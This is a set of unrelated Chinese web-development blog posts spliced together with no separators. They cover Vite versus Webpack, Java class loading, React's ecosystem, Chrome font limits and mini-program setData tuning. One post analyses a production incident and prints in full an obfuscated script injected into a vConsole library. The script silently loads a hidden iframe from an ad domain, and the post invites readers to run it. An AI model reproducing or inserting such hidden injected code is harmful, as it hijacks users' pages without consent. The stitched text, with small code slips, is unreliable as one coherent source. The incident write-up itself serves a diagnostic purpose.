1.新建sysInfo.json文件

{

	"version": "20240307@1.0.1"

}

2.新建addVersion.js文件,打包时执行,将版本号写入sysInfo.json文件

//npm run build打包前执行此段代码

let fs = require('fs')



//返回package的json数据

function getPackageJson() {

  let data = fs.readFileSync('./src/assets/json/sysInfo.json') //fs读取文件

  return JSON.parse(data) //转换为json对象

}



let packageData = getPackageJson() //获取package的json

let arr = packageData.version.split('@') //切割后的版本号数组

let date = new Date()

const year = date.getFullYear()

let month = date.getMonth() + 1

let day = date.getDate()

month = month > 9 ? month : '0' + month

day = day < 10 ? '0' + day : day

let today = `${year}${month}${day}`

let verarr = arr[1].split('.')

verarr[2] = parseInt(verarr[2]) + 1

packageData.version = today + '@' + verarr.join('.') //转换为以"."分割的字符串

//用packageData覆盖package.json内容

fs.writeFile('./src/assets/json/sysInfo.json', JSON.stringify(packageData, null, '\t'), err => {

  console.log(err)

})

3.package.json中配置

  "scripts": {

    "dev": "vite",

    "serve": "vite",

    "build": "node ./src/addVersion.js && vite build",

    ....

4.使用

import sysInfo from '@/assets/json/sysInfo.json'

 前言

最近作者在学习 webpack 相关的知识，之前一直对这个问题不是特别了解，甚至讲不出个123....，这个问题在面试中也是常见的，作者在学习的过程当中总结了以下几点，在这里分享给大家看一下，当然最重要的是要理解，这样回答的时候就不用死记硬背了。

原因

1、开发模式的差异

在开发环境中，Webpack 是先打包再启动开发服务器，而 Vite 则是直接启动，然后再按需编译依赖文件。（大家可以启动项目后检查源码 Sources 那里看到）

这意味着，当使用 Webpack 时，所有的模块都需要在开发前进行打包，这会增加启动时间和构建时间。

而 Vite 则采用了不同的策略，它会在请求模块时再进行实时编译，这种按需动态编译的模式极大地缩短了编译时间，特别是在大型项目中，文件数量众多，Vite 的优势更为明显。

Webpack启动

Vite启动

2、对ES Modules的支持

现代浏览器本身就支持 ES Modules，会主动发起请求去获取所需文件。Vite充分利用了这一点，将开发环境下的模块文件直接作为浏览器要执行的文件，而不是像 Webpack 那样先打包，再交给浏览器执行。这种方式减少了中间环节，提高了效率。

什么是ES Modules？

通过使用 export 和 import 语句，ES Modules 允许在浏览器端导入和导出模块。

当使用 ES Modules 进行开发时，开发者实际上是在构建一个依赖关系图，不同依赖项之间通过导入语句进行关联。

主流浏览器（除IE外）均支持ES Modules，并且可以通过在 script 标签中设置 type="module"来加载模块。默认情况下，模块会延迟加载，执行时机在文档解析之后，触发DOMContentLoaded事件前。

3、底层语言的差异

Webpack 是基于 Node.js 构建的，而 Vite 则是基于 esbuild 进行预构建依赖。esbuild 是采用 Go 语言编写的，Go 语言是纳秒级别的，而 Node.js 是毫秒级别的。因此，Vite 在打包速度上相比Webpack 有 10-100 倍的提升。

什么是预构建依赖？

预构建依赖通常指的是在项目启动或构建之前，对项目中所需的依赖项进行预先的处理或构建。这样做的好处在于，当项目实际运行时，可以直接使用这些已经预构建好的依赖，而无需再进行实时的编译或构建，从而提高了应用程序的运行速度和效率。

4、热更新的处理

在 Webpack 中，当一个模块或其依赖的模块内容改变时，需要重新编译这些模块。

而在 Vite 中，当某个模块内容改变时，只需要让浏览器重新请求该模块即可，这大大减少了热更新的时间。

总结

总的来说，Vite 之所以比 Webpack 快，主要是因为它采用了不同的开发模式、充分利用了现代浏览器的 ES Modules 支持、使用了更高效的底层语言，并优化了热更新的处理。这些特点使得 Vite在大型项目中具有显著的优势，能够快速启动和构建，提高开发效率。

​

之前某次面试，我说自己对Java比较熟，面试官问了我一个问题：假设你自己写一个String类，包名也是java.lang，代码里使用String的时候，这个String类能编译成功吗？能运行成功吗？

好了，我当时又是一脸懵逼o((⊙﹏⊙))o，因为我只是看了些Java的面试题目，而且并没有涉及类加载方面的内容（ps：我是怎么敢说我对Java比较熟的）。

结论

先说结论：
能编译成功，但是运行会报错。因为加载String的时候根据双亲委派机制会默认加载jdk里的String。

• 在自己写的String类中写main方法并运行，会报错找不到main方法。

public class String {

    public int print(int a) {

        int b = a;

        return b;

    }

    public static void main(String[] args) {

        new String().print(1);

    }

}

上述代码运行报错如下：

错误: 在类 java.lang.String 中找不到 main 方法, 请将 main 方法定义为:

   public static void main(String[] args)

否则 JavaFX 应用程序类必须扩展javafx.application.Application

• 如果在其他类中尝试调用这个String类的方法，也调用不到，实际的结果是调用jdk中的String类的方法。

题目分析

这里涉及3个知识点：

• Java代码的编译过程


• Java代码的运行过程


• 类加载器（详见文章：JVM：类加载器）

以上3个内容基本上是涉及代码运行的整个流程了。接下来就结合实战操作一步步分析具体的过程。

Java代码的编译过程

平时我都是通过IDEA直接运行代码，都没注意过编译的过程。所以结合平时的操作说明一下编译的过程。

什么是Java的编译

Java的编译过程，是将.java源文件转换为.class字节码文件的过程。

如何将.java源文件编译成.class字节码文件

如何查看字节码文件

字节码文件中包含哪些内容

这个有很多文章说了，可以自己搜索一下，也可以看我总结的文章：xxx（还没写）。

Java代码的运行过程

java类运行的过程大概可分为两个过程：1）类的加载；2）类的执行。

需要说明的是：JVM主要在程序第一次主动使用类的时候，才会去加载该类。也就是说，JVM并不是在一开始就把一个程序就所有的类都加载到内存中，而是到不得不用的时候才把它加载进来，而且只加载一次。

类加载过程

Class文件需要加载到虚拟机中之后才能运行和使用。系统加载Class文件主要有3步：加载->连接->初始化。连接过程又可分为3步：验证->准备->解析。

（图源：javaguide.cn）

加载

类加载过程的第一步，主要完成3件事情：

• 通过全类名获取定义此类的二进制字节流。


• 将字节流所代表的静态存储结构转换为方法区的运行时数据结构


• 在内存中生成一个代表该类的Class对象，作为方法区这些数据的访问入口。

加载这一步的操作主要是通过类加载器完成的。类加载器详情可参考文章：xxx。

每个Java类都有一个引用指向加载它的ClassLoader。不过数组类不是通过ClassLoader创建的，而是JVM在需要的时候自动创建的，数组类通过getClassLoader方法获取ClassLoader的时候和该数组的元素类型的ClassLoader是一致的。

一个非数组类的加载阶段（加载阶段获取类的二进制字节流的动作）是可控性最强的阶段，这一步我们可以去完成还可以自定义类加载器去控制字节流的获取方式（重写一个类加载器的loadClass()方法）。

加载阶段与连接阶段的部分动作（如一部分字节码文件格式验证动作）是交叉进行的，加载阶段尚未结束，连接阶段可能就已经开始了。

连接

验证

验证是连接阶段的第一步，这步的目的是为了保证Class文件的字节流中包含的信息符合《Java虚拟机规范》的全部约束要求，保证这些信息被当做代码运行后不会危害虚拟机的安全。

验证阶段所要耗费的资源相对还是多的，但验证阶段也不是必要的。如果程序运行的全部代码已经被反复使用和验证过，那在生产环境的实施阶段可以考虑使用-Xverify:none参数来关闭大部分的类验证措施，以缩短虚拟机类加载的时间。

验证阶段主要由4个检验阶段组成：

• 文件格式验证。要验证字节流是否符合Class文件格式的规范，并且能被当前版本的虚拟机处理。比如以下验证点：
  
  
  
  
  • 是否以魔数CAFEBABE开头
  
  
  • 主、次版本号是否在当前Java虚拟机接收范围内
  
  
  • 常量池的常量是否有不被支持的常量类型
  
  
  • 。。。
  
  
  
  

  该阶段验证的主要目的是保证输入的字节流能够被正确地解析并存储于方法区。只有通过了这个阶段的验证之后，这段字节流才被允许进入Java虚拟机内存的方法区中存储。后面3个阶段的验证是在方法区的存储信息上进行的，不会再直接读取和操作字节流了。



• 元数据验证。对字节码描述的信息进行语义分析，保证其描述的信息符合《Java语言规范》的要求。这个阶段可能包括的验证点如下：
  
  
  
  
  • 这个类是否有父类（除了Object类之外，所有的类都应该有父类）
  
  
  • 这个类or其父类是否继承了不允许继承的类（比如final修饰的类）
  
  
  • 如果这个类不是抽象类，是否实现了其父类或接口之中要求实现的所有方法。
  
  
  
  


• 字节码验证。是整个验证过程中最复杂的，主要目的是通过分析字节码，判断字节码能否被正确执行。比如会验证以下内容：
  
  
  
  
  • 在字节码的执行过程中，是否会跳转到一条不存在的指令
  
  
  • 函数的调用是否传递了正确类型的参数
  
  
  • 变量的赋值是不是给了正确的数据类型
  
  
  • 。。。
  
  
  
  

  如果一个方法体通过了字节码验证，也仍然不能保证它一定是安全的。



• 符号引用验证。该动作发生在虚拟机将符号引用转化为直接引用的时候，这个转化动作将在连接的第三阶段--解析阶段中发生（所以说符号引用验证是在解析阶段发生？？？）。
  
  

  符号引用验证的主要目的是确保解析行为能正常执行。

  
  

  符号引用验证简单来说就是验证当前类是否缺少或者被禁止访问它依赖的外部类、方法、变量等资源。该阶段通常要校验以下内容：

  
  
  
  
  • 符号引用中通过字符串描述的全限定名是否能找到对应的类。
  
  
  • 在指定类中是否存在符合方法的字段描述符及简单名称所描述的方法和字段。（没太明白什么意思）
  
  
  • 符号引用中的类、变量、方法是否可被当前类访问。
  
  
  
  

  如果无法通过符号引用验证，Java 虚拟机将会抛出一个 java.lang.IncompatibleClassChangeError 的子类异常，典型的如：

  
  
  
  
  • java.lang.IllegalAccessError
  
  
  • java.lang.NoSuchFieldError
  
  
  • java.lang.NoSuchMethodError等。
  
  
  
  

准备

准备阶段是正式为类中的静态变量分配内存并设置类变量初始化值的阶段。从概念上来说，这些变量所使用的内存都应当在方法区中分配，但方法区本身是一个逻辑概念。在JDK7及以前，HotSpot使用永久代来实现方法区。在JDK8及以后，类变量会随着Class对象一起放入Java堆中（也是叫做方法区的概念？）

注意点：

• 准备阶段仅为类变量分配内存并初始化。实例变量会在对象实例化时随着对象一起分配在堆内存中。


• 非final修饰的类变量，在初始化之后，是赋值为0，而不是程序中的赋值。比如：
  

  public static int value = 123; 
  
  

  
  初始化之后的值是0，而不是10。因为这时候程序还未运行。把 value 赋值为 123 的 putstatic 指令是程序被编译后，存放于类构造器() 方法之中，所以把 value 赋值为 123 的动作要到类的初始化阶段才会被执行。


• final修饰的类变量，初始化之后会赋值为代码中的值。因为：如果类字段被 final 修饰，那么类阻断的属性表中存在 ConstantValue 属性，那在准备阶段变量值就会被初始化为ConstantValue 属性所指定的初始值，假设上面类变量 value 的定义修改为 123 ,而不是 "零值"

解析

解析阶段是将符号引用转化为直接引用的过程。也就是得到类或者字段、方法在内存中的指针或者偏移量。

• 符号引用（Symbolic References）：用一组字符串来表示所引用的目标，符号可以是任何形式的字面量，只要使用时能无歧义地定位到目标即可。


• 直接引用（Direct Reference）：是可以直接指向目标的指针，相对偏移量、或者可以间接定位到目标的句柄？直接引用是和虚拟机实现的内存布局直接相关的，同一个符号引用在不同虚拟机实例上翻译出来的直接引用一般不会相同。如果有了直接引用，那引用的目标必定已经在虚拟机的内存中存在。

初始化

初始化阶段是执行初始化方法 <clinit> ()方法的过程，是类加载的最后一步，这一步 JVM 才开始真正执行类中定义的 Java 程序代码(字节码)。

说明：<clinit> ()方法是编译之后自动生成的。

对于初始化阶段，虚拟机严格规范了有且只有 6 种情况下，必须对类进行初始化(只有主动去使用类才会初始化类)：

代码运行过程：案例

针对下面这段代码进行讲解。

//MainApp.java  

pblic class MainApp {  

public static void main(String[] args) {  

       Animal animal = new Animal("Puppy");  

       animal.printName();  

   }  

}  

//Animal.java  

public class Animal {  

public String name;  

public Animal(String name) {  

this.name = name;  

   }  

public void printName() {  

       System.out.println("Animal ["+name+"]");  

   }  

}  

参考文章

1. Java代码编译和执行的整个过程-简述(一)


2. JavaGuide面试题


3. java类在什么时候加载和初始化


4. Java类加载机制


5. JVM成神之路(2): 类的加载

凌晨2点，Dan仍坐在电脑桌前，表情严肃。

作为React社区最知名的布道者，此时正遭遇一场不小的变故 —— 他拥有38w粉丝的推特账号被影子封禁了。

所谓影子封禁，是指粉丝无法在流中刷到被封禁者的任何推文，只能点进被封禁者的账号才能看到新推文

在RSC（React Server Component）特性发布后，Dan经常用这个账号科普各种RSC知识。这次封禁，显然对他的布道事业造成不小打击，不得已只能启用新账号。

虽然新账号粉丝不多，但值得宽慰的是 —— 这篇题为The Two Reacts的RSC布道文数据还不错。

这篇文章通过解释世界上存在2个React：

• 在客户端运行的React，遵循UI = f(state)，其中state是状态，是可变的


• 在服务端运行的React，遵循UI = f(data)，其中data是数据源，是不变的

来论证RSC的必要性（他为服务端运行的React提供了底层技术支持）。

安静的夜总是让人思绪良多，Dan合上MacBook Pro，回想起当年参加行业会议，在会议开始前一周才实现演讲所需的Demo（也就是Redux的雏形）。也正是以这次参会为契机，他才得以加入Meta伦敦，进入React核心团队。

随后，Dan又回想起在React Conf 2018介绍Hook特性时，台下观众惊喜的欢呼。

想到这里，不禁又感叹 —— 曾经并肩战斗的战友们都已各奔东西。

Redux的联合作者Andrew Clark离开了（入职Vercel），Hook的作者sebastian markbåge也离开了（入职Vercel），连自己最终也离开了（入职bluesky）。

虽然React仍是前端领域最热门的框架，但一些微妙的东西似乎在慢慢变化，是什么变了呢？

React正迎来自己口碑的拐点

作为一款11岁高龄的前端框架，React正迎来自己口碑的拐点。

近期，有多名包括知名库作者、React18工作组成员在内的社区核心用户公开表达了对React的批评，比如：

• Increasingly miffed about the state of React


• Kind of annoyed at React


• React, where are you going?


• The decline of React


• Concatenating text

有人会说，React从诞生伊始至今从不乏批评的声音，有什么大惊小怪的？

这其中的区别其实非常大。从React诞生伊始至今，批评通常是开发者与React核心团队的理念之争，比如：

• JSX到底好不好用？这是理念之争


• 用Class Component还是Function Component？这是理念之争


• 要不要使用Signal技术？这还是理念之争

虽然开源项目都很重视开发者的反馈，但React已经不能算是普通开源项目，而是一个庞大的技术生态。

在这个生态中，开发者的不满实际上并不会动摇React的基本盘。因为决定开发者是否在项目中使用React的，并不是开发者自身好恶，而是公司考量技术生态后作出的自上而下的选择。

所以，React的基本盘是技术生态（而非开发者）。而构成技术生态的，则是生态中大大小小的开源作者/开源团队。

这一轮对React的批评，多是核心技术生态的参与者发出的，他们才是支撑React大厦的一根根柱子。

批评的主要原因是 —— React团队将React的发展与一家商业公司（Vercel）牢牢绑定。

这对于React核心团队成员来说，是从大厂到独角兽的个人职场跃迁。但对广大React技术生态的开源作者/开源团队来说，则是被动与一家商业公司（Vercel）绑定。

举个例子，RSC中有个叫Server Actions的特性，用于简化在服务端处理前端交互的流程。Vercel是一家云服务公司，旗下的Next.js支持Server Actions可以完美契合自家Serverless服务的场景。

但其他开源项目可能并不会从这个特性中受益。

再比如，React Bricks的作者曾抱怨 —— 虽然表面上看，React可以与Vite结合，可以与React Router结合（也就是Remix的前身），一切都是自由的选择。但上层的服务商表示：如果React Bricks不能支持Next.js，就不会再使用他。

换句话说，React在逐渐将自己的技术生态迁移到Next.js，而技术生态是公司技术选型的首要考虑因素。如果开源库不主动融入Next生态，公司在做技术选型时可能就不会考虑这个库。

迫于市场的考量，会有很多原React生态下的库迁移到Next生态，即使这么做并非库作者意愿（毕竟Next.js的背后是一家商业公司）。

框架作者的反抗

如果说一般的开源库只能被动选择是否追随Next生态，那还有一类开源库选择与Next.js正面对抗，这就是Meta Framework（元框架）。

所谓元框架，是指基于前端框架封装的功能更全的上层框架，比如：

• 框架Vue，元框架Nuxt.js


• 框架React，元框架Remix、Next.js


• 框架Solid.js，元框架SolidStart


• 框架Svelte，元框架SvelteKit

还有些框架本身就是元框架，比如Angular、Astro。

从NPM年下载量看，Next.js对这些竞品基本呈碾压之势（下表绿色是Next）：

造成当前局面有多少是因为Next.js相比其他元框架表现更出色我们不得而知，但有一点可以肯定 —— React生态向Next生态的迁徙对形成当前局面一定贡献了不少。

参考下图，黄色（React年下载量）对绿色（Next年下载量）的提携：

元框架的竞争已经逐渐白热化，现在甚至出现了生成元框架的框架 —— vinxi。

你可以选择框架（React、Vue、Solid...），再选择应用场景（客户端、SSR、SSG...）以及一些个性化配置，vinxi会为你生成一个独属于你的元框架。

顺便一提，SolidStart就是基于vinxi构建的。

后记

对React将技术生态向Next迁移的不满在社区已经酝酿已久，并在近期迎来了爆发。长久来看，这种不满必将影响React的根基 —— 技术生态。

但从上帝视角来看，没有人是真正在意React的：

• 开发者只在意是否能稳定、高效完成工作


• 开源作者只在意技术生态市场是否够大（不能被少数公司垄断）


• React核心团队成员在意的是自己的职业前景


• 元框架作者在意的是从Next无法顾及的细分场景切一块蛋糕

React就像一个被开采了11年的金矿，开采的各方都有所抱怨，同时又不停下手中挥舞的铁镐。

当React将技术生态逐渐迁移到Next生态后，React的身影将只存在于一些细节中，比如：

• Hook的执行顺序不能变


• 严格模式下组件会render两次


• 相比其他框架更低的性能

作为一家商业公司，未来Vercel会不会为了市场考量逐渐优化这些特性（比如引入Signal）？

如果说React未来一定会消失，那他的死必不会像烟花那样猝不及防而又灿烂（就像谷歌宣布研发Angular2后，Angular1在关注度最高时迎来了他的死亡）。

更可能的情况是像忒修斯之船一样，在航行的过程中不断更换老旧的木条，最终在悄无声息中逐渐消失......

本周，团队里有个小伙伴负责的一个移动端项目在生产环境上出现了问题，虽然最终解决了，但我觉得这个问题非常典型，有必要在这里给广大掘友分享一下。

起因

生产上有客户反馈在支付订单的时候，跳转到微信支付后，页面就被毙掉了，无法支付。而且无法支付这个问题还不是所有用户都会遇到，只是极个别的用户会遇到。

查找问题

下面是排查此问题时的步骤：

有意思的是，这段恶意脚本代码不会一直存在。同样一个地址，原页面刷新后，里面的恶意脚本代码就会消失。

感兴趣的掘友可以在自己电脑上是试一试。vConsole地址
注意，如果在PC端下载此代码，要先把模拟手机模式打开再下载，不然下载的源码里不会有这个恶意脚本代码。

下面的截图是我在pc端浏览器上模拟手机模式，获取到的vConsole源码，我用红框圈住的就是恶意代码，它在vConsole源码文件最下方注入了一段恶意代码(广告相关的代码)。

这些恶意代码都是经过加密的，把变量都加密成了十六进制的格式，仅有七十多行，有兴趣的掘友可以把代码拷贝到自己本地，尝试执行一下。

全部代码如下：

var _0x30f682 = _0x2e91;

(function(_0x3a24cc, _0x4f1e43) {

    var _0x2f04e2 = _0x2e91

      , _0x52ac4 = _0x3a24cc();

    while (!![]) {

        try {

            var _0x5e3cb2 = parseInt(_0x2f04e2(0xcc)) / 0x1 * (parseInt(_0x2f04e2(0xd2)) / 0x2) + parseInt(_0x2f04e2(0xb3)) / 0x3 + -parseInt(_0x2f04e2(0xbc)) / 0x4 * (parseInt(_0x2f04e2(0xcd)) / 0x5) + parseInt(_0x2f04e2(0xbd)) / 0x6 * (parseInt(_0x2f04e2(0xc8)) / 0x7) + -parseInt(_0x2f04e2(0xb6)) / 0x8 * (-parseInt(_0x2f04e2(0xb4)) / 0x9) + parseInt(_0x2f04e2(0xb9)) / 0xa * (-parseInt(_0x2f04e2(0xc7)) / 0xb) + parseInt(_0x2f04e2(0xbe)) / 0xc * (-parseInt(_0x2f04e2(0xc5)) / 0xd);

            if (_0x5e3cb2 === _0x4f1e43)

                break;

            else

                _0x52ac4['push'](_0x52ac4['shift']());

        } catch (_0x4e013c) {

            _0x52ac4['push'](_0x52ac4['shift']());

        }

    }

}(_0xabf8, 0x5b7f0));



var __encode = _0x30f682(0xd5)

  , _a = {}

  , _0xb483 = [_0x30f682(0xb5), _0x30f682(0xbf)];



(function(_0x352778) {

    _0x352778[_0xb483[0x0]] = _0xb483[0x1];

}(_a));



var __Ox10e985 = [_0x30f682(0xcb), _0x30f682(0xce), _0x30f682(0xc0), _0x30f682(0xc3), _0x30f682(0xc9), 'setAttribute', _0x30f682(0xc6), _0x30f682(0xd4), _0x30f682(0xca), _0x30f682(0xd1), _0x30f682(0xd7), _0x30f682(0xb8), _0x30f682(0xb7), _0x30f682(0xd3), 'no-referrer', _0x30f682(0xd6), _0x30f682(0xba), 'appendChild', _0x30f682(0xc4), _0x30f682(0xcf), _0x30f682(0xbb), '删除', _0x30f682(0xd0), '期弹窗，', _0x30f682(0xc1), 'jsjia', _0x30f682(0xc2)];



function _0x2e91(_0x594697, _0x52ccab) {

    var _0xabf83b = _0xabf8();

    return _0x2e91 = function(_0x2e910a, _0x2d0904) {

        _0x2e910a = _0x2e910a - 0xb3;

        var _0x5e433b = _0xabf83b[_0x2e910a];

        return _0x5e433b;

    }

    ,

    _0x2e91(_0x594697, _0x52ccab);

}



window[__Ox10e985[0x0]] = function() {

    var _0x48ab79 = document[__Ox10e985[0x2]](__Ox10e985[0x1]);

    _0x48ab79[__Ox10e985[0x5]](__Ox10e985[0x3], __Ox10e985[0x4]),

    _0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x6]] = __Ox10e985[0x8],

    _0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x9]] = __Ox10e985[0x8],

    _0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xa]] = __Ox10e985[0xb],

    _0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xc]] = __Ox10e985[0x8],

    _0x48ab79[__Ox10e985[0xd]] = __Ox10e985[0xe],

    _0x48ab79[__Ox10e985[0xf]] = __Ox10e985[0x10],

    document[__Ox10e985[0x12]][__Ox10e985[0x11]](_0x48ab79);

}

,

function(_0x2492c5, _0x10de05, _0x10b59e, _0x49aa51, _0x2cab55, _0x385013) {

    _0x385013 = __Ox10e985[0x13],

    _0x49aa51 = function(_0x2c78b5) {

        typeof alert !== _0x385013 && alert(_0x2c78b5);

        ;typeof console !== _0x385013 && console[__Ox10e985[0x14]](_0x2c78b5);

    }

    ,

    _0x10b59e = function(_0x42b8c7, _0x977cd7) {

        return _0x42b8c7 + _0x977cd7;

    }

    ,

    _0x2cab55 = _0x10b59e(__Ox10e985[0x15], _0x10b59e(_0x10b59e(__Ox10e985[0x16], __Ox10e985[0x17]), __Ox10e985[0x18]));

    try {

        _0x2492c5 = __encode,

        !(typeof _0x2492c5 !== _0x385013 && _0x2492c5 === _0x10b59e(__Ox10e985[0x19], __Ox10e985[0x1a])) && _0x49aa51(_0x2cab55);

    } catch (_0x57c008) {

        _0x49aa51(_0x2cab55);

    }

}({});



function _0xabf8() {

    var _0x503a60 = ['http://www.sojson.com/javascriptobfuscator.html', 'createElement', '还请支持我们的工作', 'mi.com', 'src', 'body', '16721731lEccKs', 'width', '1450515IgSsSQ', '49faOBBE', 'https://www.unionadjs.com/sdk.html', '0px', 'onload', '3031TDvqkk', '5wlfbud', 'iframe', 'undefined', '版本号，js会定', 'height', '394HRogfN', 'referrerPolicy', 'style', 'jsjiami.com', 'sandbox', 'display', '2071497kVsLsw', '711twSQzP', '_decode', '32024UfDDBW', 'frameborder', 'none', '10ZPsgHQ', 'allow-same-origin allow-forms allow-scripts', 'log', '1540476RTPMoy', '492168jwboEb', '12HdquZB'];

    _0xabf8 = function() {

        return _0x503a60;

    }

    ;

    return _0xabf8();

}

我在自己电脑上把这段代码执行了一下，其实在页面上用户是无感的，因为创建的标签都是隐藏起来的，只有打开调试工具才能看出来。

打开浏览器调试工具，查看页面dom元素：

打开调试工具的网络请求那一栏，发送无数个请求，甚至还有几个socket链接...：

这就是为什么微信支付会把页面毙掉的原因了，页面只要加载了这段代码，就会执行下面这个逻辑：

强大的ChatGPT

在这里不得不感叹ChatGPT的强大(模型训练的好)，我把这段加密的代码直接输入进去，它给我翻译出来了，虽然具体逻辑没有翻译出来，但已经很好了。

下面这个是中文版的：

总结

下面是我对这次问题的一个总结：

本次分享就到这里了，有描述的不对的地方欢迎掘友们纠正～

前言

正常开发中，比如设置最小字体为12以下，会出现不生效的情况。原因是因为谷歌浏览器有最小字体的限制，那么如何解决这个问题呢？

本文主要说明两个方式：

chrome 118版本后已经字体大小最小限制默认关闭了，直接支持小于12px的字体大小

1. 调整谷歌浏览器默认字体限制

要打破Chrome的最小字号限制，按照以下步骤进行操作：

例如：当我们需要设置字体为6px时

打开百度浏览器，当最小字体设置为12px,当设置为12以下时，字体不会变化。

浏览器设置：

页面显示：

调整最小字体为6px：

浏览器设置：

页面显示：

总结一下：谷歌浏览器页面字体的最小限制，是因为浏览器的默认限制。我们平常开发中不可能每个浏览器进行设置，下面介绍使用css的缩放突破最小字体限制。

2. 使用css的transform属性进行缩放

例如：如果需要设置字体为10px,那么可以先将字体设置为20px，通过缩放一半进行实现。

注意：transfrom属性针对块级元素

缩放后会出现对齐问题，需要设置transform-origin属性

如果未设置transform-origin：

对齐出现问题，设置后：

完整css设置：

font-size: 20px;

transform: scale(0.5);

display: inline-block;

transform-origin: 0 22px;

3. 总结

在Web开发中，Chrome浏览器设置了一个默认的最小字体限制，当你尝试设置小于某个阈值的字体大小时，字体大小将不会按照预期变化。这种限制主要是为了确保网页内容的可读性和用户的浏览体验。

为了突破这个限制，本文主要演示了两种方法：

单纯记录下，如果错误，请指正O^O!

一 前言

本文为稀土掘金技术社区首发签约文章，30天内禁止转载，30天后未获授权禁止转载，侵权必究！

为什么小程序如此受欢迎？

随着移动互联网发展，各大主流的 App 的很多业务页面，都需要有动态化发版的能力，这时小程序的优势就体现出来了，首先小程序无需安装和卸载，更少的占用内存，并且实现了跨端兼容，开发者无需在安卓或者 iOS 端开发两套代码，这无疑降低了开发成本，而且小程序更受到广大前端开发者的青睐，随着 taro 等框架的成熟，开发者可以完全做到像开发 web 应用一样开发小程序。

setData 优化迫在眉睫
随着小程序的发展，各种各样的小程序百花齐放，截止 2022 年末，互联网小程序总数超过 780 万，DAU更是突破了 8 亿。小程序承载了越来越多的功能，这就促使了小程序的模块越来越复杂。这个时候，更新视图就会牵连更多的业务模块的联动更新，如果小程序开发者不做优化而是肆意的使用 setData，就会让应用更卡顿，渲染更耗时，直接影响了用户体验。所以 setData 优化是小程序优化重要的组成部分。

要是彻底弄明白 setData 影响性能的原因，就要从小程序的架构设计说起。

二 双线程架构设计

2.1 小程序双线程架构设计

小程序采用双线程架构，分为逻辑层和渲染层。首先就是 Native 打开一个 WebView 页面，渲染层加载 WXML 和 WXSS 编译后的文件，同时逻辑层用于逻辑处理，比如触发网络请求、setData 更新等等。接下来是请求资源，请求到数据之后，数据先通过逻辑层传递给 Native，然后通过 Native 把数据传递给渲染层 WebView，再进行渲染。

在小程序中，触发的事件首先需要传递给 Native，再传递给逻辑层，逻辑层处理事件，再把处理好的数据传递给 Native，最后 Native 传递给渲染层，由渲染层负责渲染。

2.2 小程序更新原理

上面小程序的双线程架构，setData 是驱动小程序视图更新的核心方法，通过上面双线程架构可知，setData 过程中，需要把更新的数据，先传递给 Native 层，然后 Native 层再传递给 webView 层面。

数据这么一来一回需要实现 Native <-> JS 引擎双线程通信，并且数据在通信过程中，需要序列化和反序列化，那么在此期间就会产生大量的通信成本。这就是 setData 消耗性能，性能瓶颈的原因。

明白了 setData 的性能瓶颈之后，来看一下如何优化 setData 呢？

三 setData 优化

对于 setData 的优化，重点是以下三个方面：

• 控制 setData 的数量（频率）。


• 控制 setData 的量。


• 合理运用 setData 。

下面我们对这三个方向分别展开讨论。

3.1 减少 setData 的数

首先第一点就是控制 setData 的次数， 每次 setData 都会触发逻辑层虚拟 DOM 树的遍历和更新，也可能会导致触发一次完整的页面渲染流程，其中就包括了序列化，通信，反序列化的过程。过于频繁（毫秒级）的调用 setData，会造成严重的影响，如下：

• 逻辑层 JS 线程持续繁忙，无法正常响应用户操作的事件，也无法正常完成页面切换；


• 视图层 JS 线程持续处于忙碌状态，逻辑层 -> 视图层通信耗时上升，视图层收到消息的延时较高，渲染出现明显延迟；


• 视图层无法及时响应用户操作，用户滑动页面时感到明显卡顿，操作反馈延迟，用户操作事件无法及时传递到逻辑层，逻辑层亦无法及时将操作处理结果及时传递到视图层。

因此，开发者在调用 setData 是，应该做如下处理：

1.仅在需要进行页面内容更新时调用 setData。

有一些场景下，我们没有必要把所有的数据，都用 setData, 一些数据可以直接通过 this 来保存，setData 只更新有关视图的数据。

比如有一个状态叫做 isFlag, 这个状态只是记录状态，并不是用于渲染。那么没必要用 setData。

不推荐：

this.setData({

    isFlag:true

})

推荐：

this.isFlag = true

2.合并 setData:

把多个 setData 可以合并成一个 setData ，避免同一个上下文中，多个 setData。

不推荐：

this.setData({

    isFlag:true

})

this.setData({

    number:1

})

推荐：

this.setData({

    isFlag:true,

    number:1

})

3.避免以过高的频率持续调用 setData，例如毫秒级的倒计时，scroll里面使用 setData

不推荐：

// ❌

onScoll(){

    this.setData({

        xxx:...

    })

}

// ❌

setTimeout(()=>{

    this.setData({

        xxx:...

    })

},10)

如果必须在 scroll 事件中使用 setData ,那么推荐使用函数防抖（debounce），或者函数节流（throttle）；

onLoad(){

   this.onScroll = debounce(this.onScroll.bind(this),200) 

}

onScroll(){}

3.2 减少 setDate 的量

setData 只用来进行渲染相关的数据更新。用 setData 的方式更新渲染无关的字段，会触发额外的渲染流程，或者增加传输的数据量，影响渲染耗时。

1.data 里面仅存放和渲染有关的数据。

this. ({

    data1:... 

    data2:... 

})

<view>{{ data1 }}</view>

如上有两个数据 data1 和 data2, 但是只有 data1 视图需要，那么 setData 改变 data2 就是多余的。

2.组件间的通信，可以通过状态管理工具，或者 eventbus

比如有一个数据 a, 想把 a 传递到子组件中，那么通常的方案是 a 作为 props 传递给子组件，如果想要改变 a 的值，那么需要 setData 更新 a 的值。

如果是普通的组件，如上的传递方式是没问题的，但是对于一些复杂的场景，比如传递的数据巨大，这个时候就可以考虑用状态管理工具，或者 eventbus 的方式。

如下就是通过 eventBus 实现的组件通信。

import { BusService } from './eventBus'

Component({

    lifetimes:{

        attached(){

            BusService.on('message',(value)=>{  /* 事件绑定  */

                /* 更新数据 */

                this.setData({...})

            })

        },

        detached(){

            BusService.off('message') /* 解绑事件 */

        }

    },

})

Component({

    methods:{

       emitEvent(){

           BusService.emit('message','hello,world')

       }

    }

})

3.控制 setData 数据更新范围。

对于列表或者是大对象的数据结构，如果是列表某一项的数据变化，或者是对象的某一属性发生变化，可以控制 setData 数据更新范围，让更新的数据变得最小。

如下：

handleListChange(index,value){

   this.setData({

     `sourceList[${index}]`:value

   })

}

3.3 合理运用 setData

如上就是通过 setData 的频率和数量大小，来优化 setData 性能，除此之外，还需要一些业务系统性的优化 setData 的手段。

1.数据源分层

对于复杂的业务场景（复杂的列表，或者复杂的模块场景），服务端数据肯定包含了很多信息，这些数据有的是用于渲染的，有的是用于逻辑处理的，还有的是用于处理埋点和广告的，如果把所有的数据都通过 setData 传递，庞大的数据传输可能会阻塞页面的渲染展示。

